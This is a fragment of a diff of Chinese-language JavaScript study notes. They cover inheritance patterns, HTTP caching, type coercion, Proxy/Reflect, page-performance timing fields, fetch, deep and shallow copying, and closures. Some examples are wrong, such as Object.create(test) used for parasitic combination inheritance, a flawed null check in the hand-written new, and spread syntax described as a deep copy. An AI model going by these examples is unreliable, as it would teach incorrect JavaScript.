window.performance
-TimeData.memory // 该字段表示JavaScript对内存的占用
-console.log(TimeData.memory)
-</code></pre><p>memory字段有三个属性（这些属性都是只读的，而且只有Chrome内核的浏览器才有这些属性，是非标准），分别是jsHeapSizeLimit（内存大小的限制），totalJSHeapSize（可以使用的内存），usedJSHeapSize（JavaScript对象占用的内存（包括V8内部对象））</p><pre><code>console.log(TimeData.navigation)
-</code></pre><p>navigation字段有两个属性，分别是redirectCount（获取某个资源需要重定向几次才能得到）和type（该属性有4个值，0表示是通过正常访问的（TYPE_NAVIGATENEXT），1表示通过刷新访问的（TYPE_RELOAD ），2表示通过前进后退按钮访问的（TYPE_BACK_FORWARD，历史记录），255表示不是这些方式之外访问的（TYPE_UNDEFINED））</p><p>timeOrigin字段</p><pre><code>const datea = new Date(TimeData.timeOrigin)
-console.log(datea)
-console.log(TimeData.timeOrigin)
-</code></pre><p>返回性能测量开始时的高精度时间戳</p><p>timing字段虽然已被w3c标准抛弃，但是这玩意的接口很强大</p><pre><code>console.log(TimeData.timing)
+let e = Object.create(a)</p><p>继承的方法</p><p>通过原型链继承</p><pre><code>function test(){
+    this.data = 123
+}
+function main(){
+    this.type='main'
+}
+main.prototype = new test() // main.prototype.__proto__ = test.prototype
+console.log(new main)
+</code></pre><p>缺点就是如果进行修改对象，那么其他通过其父类实例继承的对象，都会被修改(引用类型），而且也不能向父类构造函数传递参数</p><p>通过构造函数继承</p><pre><code>function test(){
+    this.data = 123
+}
+function main(){
+    test.call(this)
+    this.type='main'
+}
+console.log(new main)
+</code></pre><p>实质上是通过改变test的this指向，将其指向到main，这个只能继承父类构造函数的属性，不能继承原型链上的方法（prototype）</p><p>盗用构造函数（对象伪装/经典继承）</p><pre><code>function test(){
+    this.data = [123,666,&quot;hahahah&quot;]
+}
+function main(){
+    test.call(this)
+}
+let a = new main()
+let b = new main()
+a.data.push(&quot;hallo word&quot;)
+console.log(a,b)
+</code></pre><p>会发现a和b的data都是独享的，不会存在改变a，b也跟着改变，原理就是通过call改变this指向，指向当前的test，因为使用的call，还可以给父类传递参数，缺点就是无法复用父类方法，因为每次实例化，都要重新声明父类的方法</p><p>组合继承（伪经典继承，将原型链和盗用构造函数方式结合）</p><p>原理就是通过原型链继承父类的属性和方法，再用盗用构造函数继承实例的属性（可以确保方法可复用，每个实例都有自己的独享属性）</p><pre><code>function test(){
+    this.data = [123,666,&quot;hahahah&quot;]
+}
+function main(){
+    test.call(this)
+}
+main.prototype = new test()
+let a = new main()
+let b = new main()
+a.data.push(&quot;hallo word&quot;)
+console.log(a,b)
+</code></pre><p>通过盗用构造函数继承父类的data属性，然后通过原型链，继承父类的原型对象</p><p>缺点就是会调用2次test构造函数（分别是在new，call各调用一次），而且实例和原型都存在相同的属性和方法</p><p>原型式继承（实例继承）（直接给对象赋值给构造函数的原型）</p><pre><code>function test(data){
+    function hallo(){}
+    hallo.prototype = data
+    return new hallo()
+}
+</code></pre><p>寄生式继承</p><pre><code>function test(data){
+    let hallo = Object.create(data)
+    hallo.abc = function(){
+        console.log(this.name+this.pass)
+    }
+    return hallo
+}
+let data1 = {
+    name:&quot;root&quot;,
+    pass:&quot;hallo&quot;
+}
+let main = test(data1)
+main.abc()
+</code></pre><p>通过接收参数，该参数为被继承的对象，main是基于data1对象创建一个新对象，这个对象有data1的属性和方法，也有自己的abc方法，继承父类之后，进行增强了</p><p>寄生式组合继承（组合继承加寄生式继承）</p><pre><code>function test() {
+    this.data = [123,666,&quot;hahahah&quot;]
+}
+function main() {
+    test.call(this)
+}
+main.prototype = Object.create(test)
+let a = new main()
+let b = new main()
+a.data.push(&quot;hallo word&quot;)
+console.log(a,b)
+</code></pre><p>extends继承（es6继承，通过extends关键字继承）</p><pre><code>class test {
+    constructor(name=&quot;root&quot;,data=&quot;hallo&quot;) {
+        this.name = name
+        this.data = data
+    }
+    hallo(){
+        console.log(`${this.name} ${this.data}`)
+    }
+}
+class main extends test {
+    constructor(name=&quot;admin&quot;,data=&quot;hahaha&quot;) {
+        super(name,data)
+    }
+    hallo(){
+        super.hallo()
+    }
+}
+let abc=new main('user')
+abc.hallo()
+</code></pre><p>通过extends关键字创建父类的实例this，然后在子类class中修改this，必须通过父类构造函数来得到父类的属性和方法（super方法）</p><hr><p>浏览器缓存的分类</p><p>强缓存（本地缓存，不用请求，直接拿来用）， expires和control</p><p>expires是http1.0定义的缓存字段，expires字段为资源的过期时间，这个字段是时间戳，这个会导致客户端时间和服务端时间之间时间差问题（因为请求的时候使用的客户端的事件）</p><p>control（cache-control）是http1.1中定义的字段，用来解决expires存在的问题，该字段是一个时间长度，表示多少秒后过期（相对于客户端），当expires和cache-control都存在时，cache-control优先级高</p><p>协商缓存（当拿到该缓存，会向服务端进行确认，确认其是否要用，缓存有没有更新），last-modified和etag</p><p>last-modified会在获取到某资源的时候记录资源的修改时间，当第二次获取到的时候，会对比时间，精确到秒（1秒内的更新，不会被记录），如果对比修改时间，发现没有修改，那么继续使用该缓存并且返回304，如果被修改那么重新获取，并且记录新时间，而且存在时间上修改了，但是内容没有修改的问题，etag就是解决这个的</p><p>etag会基于内容编码生成唯一的标识，只要内容不一样，标识就一定不一样，判断是否被修改，直接判断标识是否一致，一致则直接使用缓存并且返回304，不一致就是获取新的缓存，并且记录etag值</p><hr><p>因为JavaScript没有类型声明，可以进行类型的强制转换，手动转换（明确转换）的叫显式转换类型，自动转换（隐式，由编译器自动处理）的叫隐式转换类型</p><p>Object.prototype.toString()返回表示该对象的字符串</p><p>Object.prototype.valueOf()返回对象的原始值</p><p>Symbol.toPrimitive效果和valueOf()类似，只是优先级比valueOf()高，并且接受一个hint参数（该参数被用来指定要转换的原始值的具体类型）</p><p>隐式转换过程：优先调用对象的valueOf()方法，返回原始值，如果不能处理则调用对象的toString()方法转换为字符串，进行字符串拼接，否则报错（cannot convert object to primitive value）</p><p>隐式类型转换例子：</p><pre><code>true + 1 === 2 // true
+</code></pre><p>布尔值加整数，居然绝对等于（类型和值都等于）一个整数，这说明类型已经被转换了</p><p>+加号不但可以用来算术运算，还可以做字符串拼接</p><p>字符串加数字，数字自动转字符串</p><pre><code>&quot;123&quot; + 666 // '123666'
+</code></pre><p>数字减字符串，字符串自动转数字，如果字符串不是纯数字，那么输出为NaN</p><pre><code>123 - &quot;100&quot; // 23
+</code></pre><p>相等</p><p>==，当类型不相同时，进行类型转换，再进行比较</p><p>===，首先进行判断类型是否相同</p><pre><code>undefined==null // true
+
+&quot;0&quot; == false // true
+</code></pre><p>比较</p><pre><code>&quot;3&quot; &gt; &quot;10&quot; // true
+</code></pre><p>字符串和字符串比较就算了，为啥字符串3大于字符串10，类型转换了也不应该啊</p><p>实质上并没有做类型的转换，因为其比较的时候调用了charCodeAt()方法，返回值是整数，这个整数表示则该字符的Unicode编码</p><p>所以实质上是"3".charCodeAt() > &ldquo;10&rdquo;.charCodeAt()</p><p>表示"3"的Unicode编码为51，&ldquo;10"的为49</p><p>charCodeAt()方法可以将字符串转Unicode编码，该方法必须要写index参数，如果没写默认参数值为0</p><pre><code>let abc = &quot;你好&quot;
+console.log(abc.charCodeAt(1)) // 22909 该值为&quot;好&quot;的Unicode编码
+</code></pre><p>同样也可以将Unicode编码转字符串fromCharCode()方法</p><pre><code>let a = String.fromCharCode(51)
+console.log(a) // 3
+console.log(typeof(a)) // 'string'
+</code></pre><hr><p>proxy对象属于一种元编程（meta programming），proxy可以拦截对象，外部进行调用该对象时，必须通过这个拦截，这个拦截器可以对外部的调用进行过滤和查找赋值等等，另外Vue3.0的数据双向绑定（响应式）实现原理就是proxy</p><p>ES6提供了Proxy构造函数，来new Proxy()实例，Proxy实例具备有2个参数，分别是target, handler</p><p>let proxy = new Proxy(target, handler)</p><p>target参数是要拦截的对象，handler参数为拦截后的行为（也是对象）</p><p>Proxy支持13种拦截行为，分别是：</p><p>get()：读取属性</p><p>set()：修改属性</p><p>has()：in操作符，判断某个属性是否存在于这个对象之中</p><p>apply()：当Proxy拦截函数时</p><p>construct()：当使用new关键字时</p><p>deleteProperty()：当使用delete删除对象的属性时</p><p>defineProperty()：当使用Object.defineProperty修改属性修饰符时</p><p>ownKeys()：当使用Object.getOwnPropertyNames()，Object.getOwnPropertySymbols()，Object.keys()，Reflect.ownKeys()获取对象的信息时</p><p>getPrototypeOf()：当使用Object.getPrototypeOf()读取对象的原型信息时</p><p>setPrototypeOf()：当使用Object.setPrototypeOf()设置对象的原型时</p><p>isExtensible()：当使用Object.isExtensible()判断对象是否可以添加新的属性时（Reflect.isExtensible()操作也会触发）</p><p>preventExtensions()：当使用Object.preventExtensions()设置对象不能添加新的属性时</p><p>getOwnPropertyDescriptor()：当使用Object.getOwnPropertyDescriptor()获取该对象的自有属性（自有属性指该对象所有，不需要通过原型链获取该属性）的属性描述时</p><p>这里只写最常用的get()和set()</p><pre><code>const abc = {
+    name: &quot;chenjunlin&quot;,
+    pass: &quot;123456789&quot;
+}
+const proxy1 = new Proxy(abc, {
+    get(target, property, receiver) {
+        if (property in target){
+            return target[property]
+        }else{
+            return '读取失败'
+        }
+    },
+    set(target, property, value, receiver){
+        
+        target[property] = value
+        console.log(`${property}属性被设置值`, value)
+        
+        
+    }
+})
+console.log(proxy1.name)
+console.log(proxy1.pass)
+console.log(proxy1.hallo)
+proxy1.name = &quot;root&quot;
+console.log(proxy1.name)
+proxy1.pass = &quot;123&quot;
+console.log(proxy1.pass)
+</code></pre><p>target是拦截对象，property是被拦截获取到的属性，value是新的属性值，receiver是Proxy对象本身（指向this对象，如果是继承的，那么该值为继承的Proxy对象）</p><p>Reflect是提供拦截对象操作的方法，其不是构造函数，不可通过new创建和调用Reflect，其拦截的方法和Proxy相同</p><p>例如：</p><pre><code>const obj = {
+    name: &quot;root&quot;,
+    pass: &quot;123&quot;
+}
+Reflect.get(obj, &quot;name&quot;)
+</code></pre><hr><p>Babel编译工作</p><p>Babel的核心功能就是编译ESNext，进行降级，保证兼容性，编译的核心就是通过AST（语法抽象树）对源码进行分析，并且转换为目标代码，解析成AST是方便计算机理解源码是干什么的，而Babel解析器是Babylon</p><p>像解析let const时，直接转换为var，并且判断编译阶段的const是否存在二次赋值，如果存在就是报错，块级作用域通过立即调用函数实现（例如匿名函数），针对暂时性死区，使用JavaScript严格模式实现</p><hr><p>前端性能指标</p><p>首次绘制时间（FP）：页面发生第一次绘制时间，首次不同于上次跳转之间的内容</p><p>首次有内容绘制时间（FCP）：浏览器渲染完成DOM的部分内容（可以是文本，也是可以是其他带内容的（或者说有视觉效果的））的时间</p><p>首次有意义绘制时间（FMP）：页面关键内容的绘制时间（根据不同需求而定）</p><p>首屏时间：完成整个屏幕内容渲染的时间（不包括滚动）</p><p>用户可交互时间：用户可与页面进行交互的时间，DOMReady（html元素转换为DOM树完成（DOMContentLoaded事件），不包括加载外部文件）</p><p>视觉稳定性指标（CLS，Cumulative Layout Shift）：指页面从一帧到另一帧时，不稳定元素的偏移量（也叫布局偏移量）</p><p>FID（First Input Delay，首次输入延迟）</p><p>PSI（Perceptual Speed Index，视觉变化率）</p><p>FPS（Frames Per Second，每秒显示帧数）</p><p>白屏时间：从页面发送刷新或者跳转后到页面出现第一个字符的时间</p><p>白屏时间FP = domLoading - navigationStart</p><p>可能导致白屏时间过长的原因：dns查询，tcp请求连接，服务端响应速度，关键资源下载，解析，渲染，资源体积</p><p>首屏时间（服务端渲染应用用DOMContentLoaded时间，客户端渲染应用MutationObserver）：白屏时间加渲染时间</p><p>MutationObserver接口可以监视DOM元素，因为客户端渲染应用是在客户端通过ajax请求的方式进行显示内容的，DOMContentLoaded时间并不能实质表示客户端渲染应用的首屏时间，应该监听某个最后的DOM元素，当其加载完成了，这个时间才算首屏时间，当然MutationObserver并不能计算图片加载时间，因为图片加载是异步的</p><p>首屏时间数据：平均值，分位值（例如P99，将全部首屏时间排序，第99位的首屏时间就是P99，除了P99，还有P50,P90）,秒开率（1秒内打开的用户的比率，还有1.5秒开率，2秒开率）</p><p>首屏时间优化：懒加载（加载关键内容，延迟加载其他内容，按需加载），缓存（减少重复请求），离线化，请求并行化（域名散列或者HTTP2.0多路复用）</p><p>DNS查询优化：浏览器提供预获取DNS接口，可在浏览器建立DNS缓存，减少DNS查询所耗费的时间</p><p>DNS查询优先级：浏览器缓存>hosts>路由器缓存>DNS服务器缓存（ISP）>根服务器缓存</p><p>Chrome浏览器默认缓存60秒，如果之间访问过了该域名，那么在60秒内将不会重新获取DNS缓存，而是直接调用浏览器的DNS缓存，减少DNS查询耗费的时间</p><p>开启DNS预解析</p><p>尝试对a.xiaochenabc123.test.com域名做预解析（不能用来对当前域名做预解析，因为当得到这个资源时，早就得到当前域名的解析IP）</p><p>预连接</p><p>预加载（会提升该资源加载的优先级，加载和执行是不同的，加载完成并不会执行，需要手动执行）</p><p>预判加载（会降低该资源加载的优先级，因此只有当空闲时才会加载这个）</p><p>HTTP请求优化：解决请求阻塞（请求阻塞（Stalled）是浏览器为了确保访问速度，对同一域名下的资源限制在一定的请求数，超过该请求数就会阻塞）</p><p>以目前版本的Chrome浏览器来说，其最大请求数是6个（http1.1），超过6个请求数时，只能等待前面的请求后再进行请求，请求阻塞只针对同一域下的，只需要将资源用不同的域名散列（实质请求数限制将表示为域名数 * 浏览器最大请求数）</p><p>例如将某个静态资源服务器，分成多个域名，例如，a.xiaochenabc123.test.com，b.xiaochenabc123.test.com，那么请求数就是可以达到12个</p><p>资源Gzip压缩，避免301和302重定向，骨架屏</p><p>性能数据获取</p><p>window.performance</p><pre><code>const TimeData= window.performance
+TimeData.memory // 该字段表示JavaScript对内存的占用
+console.log(TimeData.memory)
+</code></pre><p>memory字段有三个属性（这些属性都是只读的，而且只有Chrome内核的浏览器才有这些属性，是非标准），分别是jsHeapSizeLimit（内存大小的限制），totalJSHeapSize（可以使用的内存），usedJSHeapSize（JavaScript对象占用的内存（包括V8内部对象））</p><pre><code>console.log(TimeData.navigation)
+</code></pre><p>navigation字段有两个属性，分别是redirectCount（获取某个资源需要重定向几次才能得到）和type（该属性有4个值，0表示是通过正常访问的（TYPE_NAVIGATENEXT），1表示通过刷新访问的（TYPE_RELOAD ），2表示通过前进后退按钮访问的（TYPE_BACK_FORWARD，历史记录），255表示不是这些方式之外访问的（TYPE_UNDEFINED））</p><p>timeOrigin字段</p><pre><code>const datea = new Date(TimeData.timeOrigin)
+console.log(datea)
+console.log(TimeData.timeOrigin)
+</code></pre><p>返回性能测量开始时的高精度时间戳</p><p>timing字段虽然已被w3c标准抛弃，但是这玩意的接口很强大</p><pre><code>console.log(TimeData.timing)
 </code></pre><p>可以看到输出了21个属性，这些属性分别是</p><p>connectEnd: http连接成功的时间（建立连接）
 connectStart: http开始建立连接的时间（开始连接）
 domComplete: dom解析完毕的时间，资源也准备就绪（Document.readyState值为complete）
@@ -468,10 +468,10 @@
 responseStart: http开始接收响应的时间（接收第一个字节）
 secureConnectionStart: http连接开始的时间（和connectEnd类似），如果不是安全连接返回0
 unloadEventEnd: 前一个页面中的unload事件所绑定的回调函数执行完毕的时间
-unloadEventStart: 前一个页面中的unload事件触发的时间，如果没有前一个页面或者前一个页面和当前页面不在一个域中时，返回0</p><p>单位： Unix毫秒时间戳（基于UTC1970.01.01 00:00:00到现在的总毫秒数）</p><p>重定向时间：redirectEnd - redirectStart</p><p>dns查询时间：domainLookupEnd - domainLookupStart</p><p>tcp建立连接并且完成握手时间：connectEnd - connectStart</p><p>内容加载完成时间：responseEnd - requestStart</p><p>DNS缓存时间：domainLookupStart - fetchStart</p><p>卸载页面的时间: unloadEventEnd - unloadEventStart</p><p>request请求耗费时间（重定向）：redirectEnd - redirectStart</p><p>解析DOM树耗费的时间：domComplete - responseEnd</p><p>白屏时间：domLoading - fetchStart</p><p>用户可交互时间：domContentLoadedEventEnd - fetchStart</p><p>前一个页面卸载耗费的时间：unloadEventEnd - unloadEventStart</p><p>onload回调函数的执行时间：loadEventEnd - loadEventStart</p><p>用户等待页面完全可用时间（页面加载完成）：oadEventEnd - navigationStart</p><hr><p>cookie</p><p>cookie默认是临时的，浏览器关闭进程就会自动销毁，并且cookie是纯文本</p><p>通过document.cookie = &ldquo;xxx"来修改cookie</p><p>cookie存储大小限制在4kb</p><hr><p>Fetch api允许在JavaScript发起http请求和响应，使用Promise</p><pre><code>fetch('https://api.github.com/')
-    .then(response =&gt; response.json())
-    .then(data =&gt; console.log(data))
-    .catch(err =&gt; console.log('Request Failed', err))
+unloadEventStart: 前一个页面中的unload事件触发的时间，如果没有前一个页面或者前一个页面和当前页面不在一个域中时，返回0</p><p>单位： Unix毫秒时间戳（基于UTC1970.01.01 00:00:00到现在的总毫秒数）</p><p>重定向时间：redirectEnd - redirectStart</p><p>dns查询时间：domainLookupEnd - domainLookupStart</p><p>tcp建立连接并且完成握手时间：connectEnd - connectStart</p><p>内容加载完成时间：responseEnd - requestStart</p><p>DNS缓存时间：domainLookupStart - fetchStart</p><p>卸载页面的时间: unloadEventEnd - unloadEventStart</p><p>request请求耗费时间（重定向）：redirectEnd - redirectStart</p><p>解析DOM树耗费的时间：domComplete - responseEnd</p><p>白屏时间：domLoading - fetchStart</p><p>用户可交互时间：domContentLoadedEventEnd - fetchStart</p><p>前一个页面卸载耗费的时间：unloadEventEnd - unloadEventStart</p><p>onload回调函数的执行时间：loadEventEnd - loadEventStart</p><p>用户等待页面完全可用时间（页面加载完成）：oadEventEnd - navigationStart</p><hr><p>cookie</p><p>cookie默认是临时的，浏览器关闭进程就会自动销毁，并且cookie是纯文本</p><p>通过document.cookie = &ldquo;xxx"来修改cookie</p><p>cookie存储大小限制在4kb</p><hr><p>Fetch api允许在JavaScript发起http请求和响应，使用Promise</p><pre><code>fetch('https://api.github.com/')
+    .then(response =&gt; response.json())
+    .then(data =&gt; console.log(data))
+    .catch(err =&gt; console.log('Request Failed', err))
 </code></pre><p>可以看到fetch接收一个url参数，并且具备then和catch方法，并且response接收到数据是stream对象，并且将这个stream对象转换为json对象</p><p>fetch只有当网络故障或者请求被阻止时才报错，因此不管是否请求成功（例如404或者502）</p><p>response对象还有一些属性，例如response.ok（表示是否请求成功，http状态码在200-299的范围时），response.status（http状态码），response.url（请求的url，如果有跳转，那么该属性值为最终的请求地址），response.redirected（请求是否发送跳转），response.headers（请求头）等等</p><p>例如：
 async function getData(url = &ldquo;",data={}){
 const response = await fetch(url, {
@@ -485,381 +485,381 @@
 getData(&lsquo;<a href="https://api.github.com/'">https://api.github.com/'</a>)
 .then(data => {
 console.log(data)
-})</p><hr><hr><p>基础类型存储在栈内存中，在引用或者拷贝时，创建一个完全相等的变量</p><p>引用类型存储在堆内存中，存储的是内存地址，多个引用可以指向同一个地址（内存共享）（return会改变引用的地址）</p><p>类型检测</p><p>typeof（不能用来检测null类型，null不是object类型，另外object类型除了function可以检测出来外，其他都是objet，因此typeof可以检测基础类型以及function，其他类型就不适合了））</p><p>instanceof（不能正确判断基础数据类型，但是可以判断引用类型）</p><p>在不知道数据类型的情况下做数据类型判断，可以先用typeof abc !==&lsquo;object&rsquo; || abc !==null筛选出基础类型（null除外，如果是null直接返回null），如果是基础类型直接用typeof获取数据类型，如果不是再用instanceof判断引用类型</p><p>Object.prototype.toString（该方法可以返回某值的数据类型，返回值类型是字符串，格式统一为[object 数据类型]），如果不想要object，只要后面的数据类型，只需要将返回值进行正则一下就是可以了（replace(/^[object(\S+)]$/, &lsquo;$1&rsquo;)）</p><pre><code>function a(){
-    console.log(&quot;hallo&quot;)
-}
-let b = {
-    name: &quot;abc&quot;,
-    pass: &quot;123&quot;
-}
-let c = [1,3,5,7,9]
-let d = new a
-let e = 'hallo word'
-console.log(typeof a) // function
-console.log(typeof b) // object
-console.log(typeof c) // object
-console.log(a instanceof Function) // true
-console.log(b instanceof Object) // true
-console.log(c instanceof Array) // true
-console.log(d instanceof a) // true
-console.log(e instanceof String) // false
-console.log(Object.prototype.toString.call(null)) // [object Null]
-console.log(Object.prototype.toString.call(e)) // [object String]
-</code></pre><p>数据类型转换（显式类型转换（强制类型转换）和隐式类型转换（自动类型转换））</p><p>强制类型转换方法：Number()，Boolean()，String()，parselnt()，toString()，parseFloat()</p><p>Number()规则：如果值是布尔值，true转1，false转0。如果是整数，返回自身。如果是null，返回0。如果是undefined，返回NaN。如果是字符串，包含整数，转换为十进制，包含浮点格式，转换浮点数，空字符串为0，其他情况均为NaN。如果是Symbol，抛出错误，如果是对象，调用该方法，如果返回值为NaN，调用其对象的valueOf()方法</p><p>Boolean()规则：undefined，null，0，+0，-0，&rsquo;&rsquo;，false，NaN均为false，其他情况都为true</p><p>隐式类型转换</p><p>==：如果类型相同，不转换类型，如果有个值为null或者undefined，只有当另一个是null或者undefined，才返回true，否则都为false，如果有个值为Symbol类型，返回false。如果俩个值为Sting和Number类型，Sting类型的那个将转换为number类型，如果有值的类型为boolean，则转换为number，如果有值类型为object，另一个值为number，string或者symbol时，先将object转换为原始类型再判断</p><p>传说中的console.log(abc==1 && abc==2 && abc==3)，就是利用了==的隐式类型转换规则，这个abc实质上是个对象，==隐式类型转换如果是对象，会先尝试将其转换为基础类型，如果不行会调用其valueOf()方法，而且这个valueOf()方法就是定义其返回值的，并且通过this获取当前被调用的返回值</p><pre><code>let abc = {
-    value: 0,
-    valueOf: function(){
-        this.value++
-        return this.value
-    }
-}
-console.log(abc==1 &amp;&amp; abc==2 &amp;&amp; abc==3)
-</code></pre><p>+：加号被用于数值相加和字符串拼接，如果两边值都是字符串，则直接拼接字符串。如果有个是字符串，另一个是unll，Boolean类型或者undefined时，调用toString()方法（该方法的返回值为字符串类型的），然后再进行字符串拼接。如果有个是数值，另一个是number类型，则进行加法处理，如果另一个是null，undefined，boolean则转换为number类型再加法处理。如果一个是number类型，另一个是string类型，则将number类型那个转换为string类型，然后再字符串拼接</p><p>object隐式转换规则：如果有Symbol.toPrimitive()方法，则优先调用该返回再返回，如果没有该方法，并且object不能转为基础类型，则自动调用valueOf()方法，如果该方法返回了基础类型，则返回，如果还是不行则调有toString()方法（实质上就是返回其字符串），如果能转换为基础类型，则返回，如果还是没有返回基础类型，则抛出错误</p><hr><p>浅拷贝：如果是基础类型，拷贝的是基础类型的值，如果是引用类型，拷贝的是内存中的地址，如果改变该引用类型的值，会影响使用了该内存地址的全部引用类型的值</p><p>Object.assign()方法可以实现浅拷贝（不拷贝继承属性，不拷贝不可枚举属性，但是可以拷贝Symbol类型的对象）</p><p>对象的不可枚举属性通过enumerable: false设置</p><pre><code>let hallo = {}
-let hi = {
-    name: 'admin',
-    pass: 'abc123'
-}
-Object.assign(hallo,hi)
-console.log(hallo)
-hi.name = 'xiaochen'
-console.log(hallo)
-console.log(hi)
-</code></pre><p>扩展运算符(&mldr;abc)</p><pre><code>let hi = {
-    name: 'admin',
-    pass: 'abc123',
-    data: {
-        id: 1,
-        text: &quot;hallo word&quot;
-    }
-}
-let hallo = { ...hi }
-console.log(hallo)
-console.log(hi)
-hi.name = 'user'
-console.log(hallo)
-console.log(hi)
-hi.data.id = 10
-console.log(hallo)
-</code></pre><p>扩展运算符，只有单层对象属性或者数组时，是深拷贝，修改其属性，不会影响到其他使用该对象的属性，如果是一层以上的数据时，会变成浅拷贝，只能影响一层以上的数据，在一层的数据不受影响</p><p>concat()方法（可用于浅拷贝数组）</p><pre><code>let hallo = [2,4,5,6,7,8,9,12]
-let hi = hallo.concat()
-console.log(hallo)
-console.log(hi)
-hi[0] = 66
-console.log(hallo)
-console.log(hi)
-</code></pre><p>slice()方法（可用于浅拷贝数组）</p><pre><code>let hallo = [{data: 66},2,4,5,6,7,8,9]
-let hi = hallo.slice()
-console.log(hallo)
-console.log(hi)
-hi[0].data = 123
-console.log(hallo)
-console.log(hi)
-</code></pre><p>Object.assign()（将所有可枚举属性的值从原有对象拷贝到目标对象中）</p><pre><code>let obj = {
-    name: 'xiaochen',
-    pass: 'abc123',
-    data: {
-        id: 1,
-        text: &quot;hallo word&quot;
-    }
-}
-let obja = Object.assign({},obj)
-console.log(obja)
-</code></pre><p>该方法缺陷就是只能拷贝可枚举的属性， 好处就是Symbol类型的属性可以被拷贝</p><p>手写浅拷贝（通过传入目标对象参数，得到一个经过浅拷贝的对象）</p><pre><code>let obj = {
-    name: 'xiaochen',
-    pass: 'abc123',
-    data: {
-        id: 1,
-        text: &quot;hallo word&quot;
-    }
-}
-let objfu = (obj) =&gt;{
-    if(typeof obj ==='object' &amp;&amp; obj !== null){
-        // 使用typeof判断obj参数是否是对象，并且还不是null
-        let obja = Array.isArray(obj)?[]:{} // 使用Array.isArray()判断obj是否是数组（是数组返回true，否则返回false），这里是一个三元表达式（为true时返回[]，为false时返回{}）
-        for(let i in obj){ // in关键字遍历obj的属性（或者数组）
-            if(obj.hasOwnProperty(i)){ // hasOwnProperty方法可以判断该对象是否存在某个属性，存在则返回true，否则返回false
-                obja[i] = obj[i] // 判断存在后，将obj的属性拷贝到obja的属性中（浅拷贝），属性值和属性一一对应
-            }
-        }
-        return obja
-    }else{
-        return obj
-    }
-}
-console.log(objfu(obj))
-let hhh = objfu(obj)
-hhh.data.id =66
-console.log(objfu(obj))
-console.log(hhh)
-</code></pre><p>深拷贝：创建一个新对象，然后复制原有的对象的基本类型值，其完全是在堆内存中创建新的内存地址，不受原有的对象的改动影响</p><p>JSON.stringify()，通过生成一个json字符串，json字符串再转为新的对象</p><pre><code>let obj = {
-    name: 'xiaochen',
-    pass: 'abc123',
-    data: {
-        id: 1,
-        text: &quot;hallo word&quot;
-    }
-}
-let str = JSON.stringify(obj)
-let obja = JSON.parse(str)
-console.log(obja)
-obj.data.id = 66
-console.log(obja)
-console.log(obj)
-</code></pre><p>注意：如果对象中的值有函数，undefined，symbol类型，使用JSON.stringify()会导致json字符串中的这个键值对会消失，不能拷贝不可枚举属性，Data类型变成字符串，不能拷贝对象原型链，拷贝RegExp类型时会变成空对象，不能拷贝正则表达式，另外对象的属性值含有NaN，Infinity（Infinity表示无穷大），-Infinity（-Infinity表示负无穷大）时，JSON序列化后变成null，不能拷贝对象的循环应用（对象成环 ，obj[key] = obj）</p><p>手写递归深拷贝</p><pre><code>let obj = {
-    name: 'xiaochen',
-    pass: 'abc123',
-    data: {
-        id: 1,
-        text: &quot;hallo word&quot;
-    }
-}
-function objfu(obj) {
-    let obja = {}
-    for(let i in obj){
-        if(typeof obj[i] ==='object'){
-            obja[i] = objfu(obj[i])
-        }else{
-            obja[i] = obj[i]
-        }
-    }
-    return obja
-}
-let hhh = objfu(obj)
-obj.data.id = 123
-console.log(hhh)
-console.log(obj)
-</code></pre><p>这个手写递归，依然不能复制不可枚举属性和symbol类型，而且只能对一些普通对象有效，像函数之类就没有效果了</p><hr><p>原型链继承的缺点是原型链是内存共享的，一个发生改变，其他继承同一个的，都会发生改变</p><p>构造函数继承的缺点是只能继承父类的方法，属性，实例，不能继承原型的实例和方法</p><p>new关键词的作用：执行一个构造函数，并且返回一个实例对象，根据构造函数来确定是否可以接受参数的传递</p><p>new执行后必然返回一个对象，这个对象可以是实例对象，也可以是构造函数return返回的指定对象</p><p>手写new</p><pre><code>function _new(funs,...args){
-    if(typeof funs !=='function'){
-        throw &quot;no function&quot;
-    }
-    let obj = new Object()
-    obj.__proto__ = Object.create(funs.prototype)
-    let res = funs.apply(obj,...args)
-    let isObj = typeof res === 'object' &amp;&amp; typeof res !== null
-    let isFuns = typeof res === 'function'
-    return isObj || isFuns ? res:obj
-}                
-</code></pre><p>闭包：利用作用域链特性，访问局部变量</p><p>IIFE（立即执行函数）本身创建了闭包，保留了全局作用域和当前作用域</p><p>什么是闭包？例如：</p><pre><code>function abc(){
-    let a = 666
-    function xyz(){
-        console.log(a)
-    }
-    return xyz
-}
-let haha = abc()
-haha()
-</code></pre><p>可以看到函数abc的返回值是xyz函数，变量haha被赋值abc函数，并且调用了xyz函数，神奇的获取到变量a的值</p><p>关键点：xyz可以访问abc的作用域。在执行完毕abc函数，作用域并没有被销毁，而在垃圾回收中，只有被使用才不会被回收，在这里abc函数的作用域被xyz函数所使用，而且haha被调用时，执行的就是xyz函数，得到abc函数的整个定义时的词法作用域</p><p>简单的说就是，利用作用域链（这个特指函数作用域，函数作用域具备遮蔽性），内部作用域可以获取外部作用域的变量，只有当内部作用域拥有访问整个外部作用域时，内部作用域在某个时刻被调用了，自然可以访问到外部的定义时的词法作用域，利用这个特性，内部作用域只要能在定义时词法作用域之外的地方调用，就可以实现闭包，从而访问外部定义时的词法作用域</p><p>除了通过返回值外，还可以在定义时调用外部函数，外部函数再调用具备外部词法作用域访问能力的内部函数，也可以访问到这个定义时词法作用域，例如：</p><pre><code>function abc(){
-    let a = 666
-    function xyz(){
-        console.log(a)
-    }
-    haha(xyz)
-}
-function haha(funs){
-    funs()
-}
-abc()
-</code></pre><p>闭包会导致内存溢出</p><p>数组</p><p>Array数组构造器</p><p>let arr = Array(3)</p><p>当Array构造器的参数长度为0或者大于等于2时，传入的参数按顺序变成新数组的元素（参数长度为0，返回空数组）</p><p>当Array构造器存在1个数值参数时，这个参数最大不能超过2的32次方</p><p>Array.of()方法可以将参数按照顺序变成数组的元素，然后返回这个新数组，这个参数可以是数值（而且不会被用来创建指定长度的数组）</p><p>Array.from()方法有3个参数，类似于数组的对象，加工函数，this作用域（加工函数中this的指向）</p><pre><code>let arr = {
-    0:'abc',
-    1: 'xyz',
-    2: 'hallo word',
-    length: 3
-}
-let abc = Array.from(arr,function(value,index){
-    console.log(value,index,this)
-    return value.repeat(3)
-},arr)
-console.log(abc)
-</code></pre><p>Array.isArray方法可以判断是否是数组</p><p>类数组的对象（和数组类似，但是没有数组的方法）：函数的arguments，HTMLCollection，NodeList</p><p>类数组转真数组：</p><pre><code>let abc = {
-    0: 'hhh',
-    1: 'bbb',
-    2: 'abc',
-    length: 3
-}
